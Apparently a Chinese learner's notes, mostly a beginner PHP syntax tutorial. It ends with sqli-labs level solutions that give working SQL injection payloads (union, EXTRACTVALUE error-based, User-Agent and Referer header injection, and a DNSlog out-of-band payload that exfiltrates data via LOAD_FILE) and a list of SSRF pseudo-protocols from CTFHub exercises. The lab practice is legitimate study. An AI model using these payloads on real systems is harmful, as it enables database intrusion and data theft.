1.php简介
1.1php简单实例
<!DOCTYPE html><html><body>
<?php
echo“Hello World!”;
?>
</body>
</html>
输出:Hello World!
1.2什么是php
- PHP(全称:PHP:超文本预处理器,即“PHP:超文本预处理器”)是一种通用开源脚本语言。
- PHP 脚本在服务器上执行。
- PHP 可免费下载使用。
1.3php文件是什么?
- PHP 文件可包含文本、HTML、JavaScript代码和 PHP 代码
- PHP 代码在服务器上执行,结果以纯 HTML 形式返回给浏览器
- PHP 文件的默认文件扩展名是 “.php”
1.4php能做什么?
- PHP 可以生成动态页面内容
- PHP 可以创建、打开、读取、写入、关闭服务器上的文件
- PHP 可以收集表单数据
- PHP 可以发送和接收 cookie
- PHP 可以添加、删除、修改您的数据库中的数据
- PHP 可以限制用户访问您的网站上的一些页面
- PHP 可以加密数据
通过 PHP,您不再限于输出 HTML。您可以输出图像、PDF 文件,甚至 Flash 电影。您还可以输出任意的文本,比如 XHTML 和 XML。
1.5为什么使用 php?
- PHP 可在不同的平台上运行(Windows、Linux、Unix、Mac OS X 等)
- PHP 与目前几乎所有的正在被使用的服务器相兼容(Apache、IIS 等)
- PHP 提供了广泛的数据库支持
- PHP 是免费的,可从官方的 PHP 资源下载它: www.php.net
- PHP 易于学习,并可高效地运行在服务器端
2.php基础语法
2.1php基础语法介绍
- PHP 脚本以 <?php 开始,以 ?> 结束,PHP 文件的默认文件扩展名是 “.php”。PHP 文件通常包含 HTML 标签和一些 PHP 脚本代码。
-
PHP 中的每个代码行都必须以分号结束。分号是一种分隔符,用于把指令集区分开来。
-
通过 PHP,有两种在浏览器输出文本的基础指令:echo 和 print。
-
注释:
<!DOCTYPE html>
<html>
<body>
<?php
// 这是单行注释
# 这也是单行注释
/*
这是多行注释
多行注释
多行注释
*/
echo "Hello World!";
?>
</body>
</html>
-
PHP 变量规则:
- 变量以 $ 符号开始,后面跟着变量的名称
- 变量名必须以字母或者下划线字符开始
- 变量名只能包含字母、数字以及下划线(A-z、0-9 和 _ )
- 变量名不能包含空格
- 变量名是区分大小写的($y 和 $Y 是两个不同的变量)
- PHP是一门弱语言:
我们不必向 PHP 声明该变量的数据类型。PHP 会根据变量的值,自动把变量转换为正确的数据类型。在强类型的编程语言中,我们必须在使用变量前先声明(定义)变量的类型和名称。
-
PHP 有四种不同的变量作用域:
- local
- global
- static
- parameter
-
在所有函数外部定义的变量,拥有全局作用域。除了函数外,全局变量可以被脚本中的任何部分访问,要在一个函数中访问一个全局变量,需要使用 global 关键字。在 PHP 函数内部声明的变量是局部变量,仅能在函数内部访问:
<?php $x=5; // 全局变量 function myTest() { $y=10; // 局部变量 echo "<p>测试函数内变量:<p>"; echo "变量 x 为: $x"; echo "<br>"; echo "变量 y 为: $y"; } myTest(); echo "<p>测试函数外变量:<p>"; echo "变量 x 为: $x"; echo "<br>"; echo "变量 y 为: $y"; ?>
输出:
测试函数内变量:
变量 x 为:
变量 y 为: 10测试函数外变量:
变量 x 为: 5
变量 y 为:
当我们调用myTest()函数并输出两个变量的值, 函数将会输出局部变量 $y 的值,但是不能输出 $x 的值,因为 $x 变量在函数外定义,无法在函数内使用,如果要在一个函数中访问一个全局变量,需要使用 global 关键字。
-
PHP global 关键字:global 关键字用于函数内访问全局变量。在函数内调用函数外定义的全局变量,我们需要在函数中的变量前加上 global 关键字。
<?php
$x=5;
$y=10;
function myTest()
{
global $x,$y;
$y=$x+$y;
}
myTest();
echo $y; // 输出 15
?>
另一种写法(利用数组):
<?php
$x=5;
$y=10;
function myTest()
{
$GLOBALS['y']=$GLOBALS['x']+$GLOBALS['y'];
}
myTest();
echo $y;
?>
//输出15
注意:数组是中括号
- PHP换行:
echo _EOL;
echo "<br>";
- Static 作用域:
当一个函数完成时,它的所有变量通常都会被删除。然而,有时候您希望某个局部变量不要被删除。要做到这一点,请在您第一次声明变量时使用 static 关键字:
- 参数作用域:
参数是通过调用代码将值传递给函数的局部变量。参数是在参数列表中声明的,作为函数声明的一部分:
<?php
function myTest($x)
{
echo $x;
}
myTest(5);
?>
- PHP echo 和 print 语句:
echo 和 print 区别:
- echo - 可以输出一个或多个字符串
- print - 只允许输出一个字符串,返回值总为 1
提示:echo 输出的速度比 print 快, echo 没有返回值,print有返回值1。
- 常见输出语句:
-
echo():可以一次输出多个值,多个值之间用逗号分隔。echo是语言结构(language construct),而并不是真正的函数,因此不能作为表达式的一部分使用。
-
print():函数print()打印一个值(它的参数),如果字符串成功显示则返回true,否则返回false。
-
print_r():可以把字符串和数字简单地打印出来,而数组则以括起来的键和值得列表形式显示,并以Array开头。但print_r()输出布尔值和NULL的结果没有意义,因为都是打印“\n”。因此用var_dump()函数更适合调试。
-
var_dump():判断一个变量的类型与长度,并输出变量的数值,如果变量有值输的是变量的值并回返数据类型。此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
- PHP EOF:PHP EOF(heredoc)是一种在命令行shell(如sh、csh、ksh、bash、PowerShell和zsh)和程序语言(像Perl、PHP、Python和Ruby)里定义一个字符串的方法。
使用概述:
1. 必须后接分号,否则编译通不过。
2. EOF 可以用任意其它字符代替,只需保证结束标识与开始标识一致。
3. 结束标识必须顶格独自占一行(即必须从行首开始,前后不能衔接任何空白和字符)。
4. 开始标识可以不带引号或带单双引号,不带引号与带双引号效果一致,解释内嵌的变量和转义符号,带单引号则不解释内嵌的变量和转义符号。
5. 当内容需要内嵌引号(单引号或双引号)时,不需要加转义符,本身对单双引号转义,此处相当与q和qq的用法。
示例1.
<?php
echo <<<EOF
<h1>我的第一个标题</h1>
<p>我的第一个段落。</p>
EOF;
// 结束需要独立一行且前后不能空格
?>
1.以 <<<EOF 开始标记开始,以 EOF 结束标记结束,结束标记必须顶头写,不能有缩进和空格,且在结束标记末尾要有分号 。
2.开始标记和结束标记相同,比如常用大写的 EOT、EOD、EOF 来表示,但是不只限于那几个(也可以用:JSON、HTML等),只要保证开始标记和结束标记不在正文中出现即可。
3.位于开始标记和结束标记之间的变量可以被正常解析,但是函数则不可以。在 heredoc 中,变量不需要用连接符 . 或 , 来拼接
示例2.
<?php
$name="runoob";
$a= <<<EOF
"abc"$name
"123"
EOF;
// 结束需要独立一行且前后不能空格
echo $a;
?>
补充说明:
- PHP 定界符 EOF 的作用就是按照原样,包括换行格式什么的,输出在其内部的东西;
- 在 PHP 定界符 EOF 中的任何特殊字符都不需要转义;
- PHP 定界符 EOF
- EOF 中是会解析 html 格式内容的,并且在双引号内的内容也有转义效果。
<?php
$name="变量会被解析";
$a=<<<EOF
$name<br><a>html格式会被解析</a><br/>双引号和Html格式外的其他内容都不会被解析
"双引号外所有被排列好的格式都会被保留"
"但是双引号内会保留转义符的转义效果,比如table:\t和换行:\n下一行"
EOF;
echo $a;
?>
加不加引号
运行结果:
变量会被解析 html格式会被解析 双引号和Html格式外的其他内容都不会被解析 "双引号外所有被排列好的格式都会被保留" "但是双引号内会保留转义符的转义效果,比如table: 和换行: 下一行" 加不加引号
- PHP 支持以下几种数据类型:
- String(字符串)
- Integer(整型)
- Float(浮点型)
- Boolean(布尔型)
- Array(数组)
- Object(对象)
- NULL(空值)
- Resource(资源类型)
-
PHP 字符串一个字符串是一串字符的序列,就像 "Hello world!"。你可以将任何文本放在单引号和双引号中:
<!DOCTYPE html> <html> <body> <?php $x = "Hello world!"; echo $x; echo "<br>"; $x = 'Hello world!'; echo $x; ?> </body> </html>
-
PHP 整型:整数是一个没有小数的数字。
整数规则:
- 整数必须至少有一个数字 (0-9)
- 整数不能包含逗号或空格
- 整数是没有小数点的
- 整数可以是正数或负数
- 整型可以用三种格式来指定:十进制, 十六进制( 以 0x 为前缀)或八进制(前缀为 0)。
<!DOCTYPE html>
<html>
<body>
<?php
$x = 5985;
var_dump($x);
echo "<br>";
$x = -345; // 负数
var_dump($x);
echo "<br>";
$x = 0x8C; // 十六进制数
var_dump($x);
echo "<br>";
$x = 047; // 八进制数
var_dump($x);
?>
</body>
</html>
结果:
int(5985)
int(-345)
int(140)
int(39)
-
PHP 浮点型浮点数是带小数部分的数字,或是指数形式。
<!DOCTYPE html> <html> <body> <?php $x = 10.365; var_dump($x); echo "<br>"; $x = 2.4e3; var_dump($x); echo "<br>"; $x = 8E-5; var_dump($x); ?> </body> </html>
结果:
float(10.365)
float(2400)
float(8.0E-5)
- PHP 布尔型:布尔型可以是 TRUE 或 FALSE。布尔型通常用于条件判断。
$x=true;
$y=false;
-
PHP 数组,数组可以在一个变量中存储多个值。
<!DOCTYPE html>
<html>
<body>
<?php
$cars=array("Volvo","BMW","Toyota");
var_dump($cars);
?>
</body>
</html>
结果:
array(3) { [0]=> string(5) "Volvo" [1]=> string(3) "BMW" [2]=> string(6) "Toyota" }
2.2php算数运算方法
<?php
$x=5;
$y=6;
//5+6为11
echo $x+$y;
?>
2.3PHP程序自加自减运算
<?php
$x=5;
//先赋值后做加法运算,即将$x的值赋值为$y.$x的值为5,所以将$x的值赋值为$y.$y也是5
$y=$x++;
echo $y;
//$x的结果输出为6,因为赋值给$y后,$x自己又把自己进行了+1操作。所以,$x结果为6
echo $x;
?>
2.4PHP程序比较运算符号
<?php
$x=5;
$y=6;
//因为5大于6不成立,所以为错的,即为false执行了假区间
if(!$x > $y){
echo '变量x大于变量y 成立';
}else{
echo '变量x大于变量y 不成立';
}
?>
2.5 PHP程序逻辑运算符号
<?php
$x=true;
$y=false;
//逻辑与(并且),要求两个都为true才能执行真区间,所以代码中执行假区间
if($x && $y) {
echo '执行了真区间';
}else{
echo '执行了假区间';
}
?>
2.6 PHP程序位运算
<?php
//$x二进制为:
$x=5;
//$y二进制为:
$y=8;
//结果为13
echo $x ^ $y;
?>
2.7 PHP三元运算符合其它运算符
<?php
$x=true;
$x?$y=5:$y=6;
//输出5
echo $y;
?>
<?php
echo '<pre>';
echo `ipconfig`;
echo '</pre>';
?>
3.PHP流程控制语句
3.1 if条件控制语句
比如:郝斌同学是无趣的人。他回家时候做的事如下所示:
如果半夜回家,先去睡觉
如果早上回家,先去洗澡
如果中午回家,先去吃法
如果晚上回家,先去烧水
下面来了解下他的活动安排PHP语法规则:
<?php
If(判断语句1){
执行语句体1
}elseif(判断语句2){
执行语句体2
} elseif(判断语句n){
执行语句体n
}else{
最后的else语句可选
}
流程代码信息示例01:
<?php
$week=date("4");
//判断星期小于6,则输出: 还没到周末,继续上班....
if($week<"6"){
echo "还没到周末,继续上班....";
}
流程代码信息示例02:
<?php
//定义一个随机变量,判定时间,随机0点至23点
$dida = rand(0,23);
echo "当前时间为 $dida 点\n";
if($dida > 6 && $dida < 10 ){
echo '睡觉';
}elseif ($dida > 10 && $dida < 14){
echo '洗澡';
}elseif($dida >= 19 && $dida < 22){
echo '烧水';
}elseif($dida > 22 && $dida <=23){
echo '看电视';
}elseif($dida >=1 && $dida <3){
echo '看电影';
}else{
echo '工作';
}
?>
3.2 if嵌套语句
比如:王总在出行计划和工作项目中具有极高的规划性,他给自己的生活秘书和工作秘书分别指派了出差的行程:
生活上:先查天气,下雨带雨具和毛巾,不下雨要带防晒霜,雨具、毛巾和防晒霜的情况要提前检查,如果没有要及时购买。
工作上:要提前沟通出差的工作任务,准备好了要及时检查确认,打印签单。没有及时准备好的情况下,要列出主要的项目议题。
类似于上面的这种情况判断,就需要用到if…else if…else反复嵌套的结构了.
在if语句中可以嵌套一个或多个if语句,以实现多个参数的判断,这就是if语句的多种嵌套.
嵌套结构如下所示:
<?php
if(判断1){
if(判断2){
代码段1;
}else{
代码段2;
}
}else{
if(判断3){
代码段3;
}else{
代码段4;
}
}
?>
流程代码信息示例01:
<?php
//0表示工作秘书,1表示生活秘书
//用代码模拟随机产生当前的行程安排是生活秘书负责还是工作秘书负责
$mishu=rand(0,1);
if($mishu){
//下雨和不下雨的状态,随机产生;下雨状态为1,不下雨状态为0
$xiayu=rand(0,1);
if($xiayu){
//是否购买雨伞;购买了雨伞为1,未购买雨伞为0
$you=rand(0,1);
if($you){
echo '下雨天,已经购买雨伞';
}else{
echo '下雨天,需要购买雨伞';
}
}else{
//是否购买了防晒霜,购买了为1,未购买为0
$you=rand(0,1);
if($you){
echo '未下雨,已经购买了防晒霜';
}else{
echo '未下雨,需要购买防晒霜';
}
}
}else{
//是否准备好了会议议程,准备好了为1,未准备好为0
$yicheng=rand(0,1);
if($yicheng){
echo '已准备好,可以随时出发';
}else{
echo '没有准备好,需要打印,延迟出发';
}
}
3.3 switch语句使用
比如:王同学家里特别有钱,所以他的行程方式和正常人的有些不一样.
他的出行方式有以下6种方式:
司机开车/民航/自己家的专机/火车动车/骑马/游轮
switch…case的语法结构如下:
<?php
switch(变量){ //字符串,整形
case 具体值1:
执行代码1;
break;
case 具体值2:
执行代码2;
break;
case 具体值3:
执行代码3;
break;
defult:
}
?>
上面的break是可选的,上面的default也是可选的,不要在case后面写成分号,后面是冒号.不要在case后面写判断区间,如($foo >20 或者 $foo == 30)
Switch里面的变量最好是整形 字符串 因为布尔判断更适合if…else.
<?php
//定义出行工具
$tool=rand(1,6);
switch($tool){
case 1:
echo '司机开车';
break;
case 2:
echo '民航';
break;
case 3:
echo '自己家的专机';
break;
case 4:
echo '火车动车';
break;
case 5:
echo '骑马';
break;
case 6:
echo '游轮';
break;
}
3.4 while循环语句说明
比如:王总需要反复往返于北京和大连,就是典型的循环结构.假设王总投资这个项目需要往返大连100次,每次访问都会计数一次.难道写一百遍同样的代码?显然对于智商极高的程序员来说不可能这样处理。
需要抽象人类的思维逻辑,定义一个循环结构:
<?php
//定义需要往返的次数,老外喜欢从0开始计数,所以系统也是从0开始
$count=0;
//while后面接布尔值判断,为真执行,为假停止
//$count小于100的时候执行,也就是$count为0至99的时候执行.
//如果$count不小于100了,循环停止执行后续的代码
//循环开始处
while($count < 100){
echo "这是王总第 $count 次出差 <br />";
//每次执行让$count+1,这样的话,就不会产生$count永远小于100的情况了
$count++;
}
//循环结束
?>
对比说明do…while与while区别:
do…while与while的语法结构基本一样,也是一个布尔型循环,功能也基本一样.
基本语法规定如下:
do{
//代码框
}while(判断)
do…while与while区别是,它们的值得检查时机不同.
do…while不论while判断是否成立,先执行一次代码框循环语句,保证会执行一次(表达式的真值在每次循环结束后检查)
然而我们之前的while循环会检查布尔判断区域,成立则执行,不成立则不执行.
<?php
$i=0;
do {
echo $i;
}while($i >0);
?>
3.5 for循环语句
同学反复往返于北京和大连,并且在本上记录往返次数.在PHP中还有另外一种实现方式能够实现同样的计数.for循环是PHP中的一种计数型循环.它的语法比较灵活多变,这是一个必须掌握的知识点.
for(表达式1;表达式2;表达式3)
需要执行的代码段;
}
1、表达式1是初始化赋值,可以同时赋值多个代码;
2、表示式2在每次循环开始前求值,如果值为true,则继续循环,执行嵌套的循环语句,如果值为false,则终止循环.
3、表达式3在每次循环之后被求值.
<?php
for($i=1;$i<=10;$i++)
echo ‘分手后第’.$i.’年, 我全都忘了你的样子<br />’;
}
?>
3.6 goto循环语句
王同学每周往返,但有一个特例:项目失败后或者集团临时通知除外,就可以不再这么每周往返了.
基本语法:
<?php
goto wan;
echo '天王盖地虎';
wan:
echo '小鸡炖蘑菇';
?>
基本编写:
<?php
for ($i=0;$i<100;$i++){
echo '第'.$i.'每周往返北京大连<br />';
if($i == 17){
goto end;
}
}
end:
echo '集团公司要求停止此项';
?>
4.SQL-lab
第 11 关
-1' union select user(),database() #
第 12 关
后续步骤与第 11 关一致
第 13 关
为便于调试,使用BurpSuite
-1') AND EXTRACTVALUE(1,(CONCAT(0x7e,(user()),0x7e))) #
第 14 关
后续步骤与第 13 关一致
第 15 关
使用DNSlog外带注入提高效率
NAD LOAD_FILE(CONCAT('\\\\',(SUBSTR(HEX(user()),1,60)),'.DNSlog网址\abc'))
第 16 关
第 17 关
Dumb' AND EXTRACTVALUE(1,(CONCAT(0x7e,(user()),0x7e))) #
第 18 关
-
源码(仅用于方便理解如何注入): $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; 注入: ' AND EXTRACTVALUE(1,(CONCAT(0x7e,(payload),0x7e))) or ' 注释:User-Agent 基于报错注入
第 19 关
源码(仅用于方便理解如何注入):
$uagent = $_SERVER['HTTP_REFERER'];
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
echo 'Your Referer is: ' .$uagent;
注入:
' AND EXTRACTVALUE(1,(CONCAT(0x7e,(payload),0x7e))) or '
第 20 关
5.CTFHUB-ssrf
5.1内网访问
修改网址
5.2伪协议读取文件
- file:/// – 本地文件传输协议,主要用于访问本地计算机中的文件。
- dict:// – 字典服务器协议,dict是基于查询相应的TCP协议。
- sftp:// – SSH文件传输协议或安全文件传输协议(Secure File Transfer Protocol)是一种简单的基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机。
- ldap:// – 代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
- tftp:// – 基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机。
- gopher:// – 是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息
5.3端口扫描
将所的数据填入网址中
5.4post请求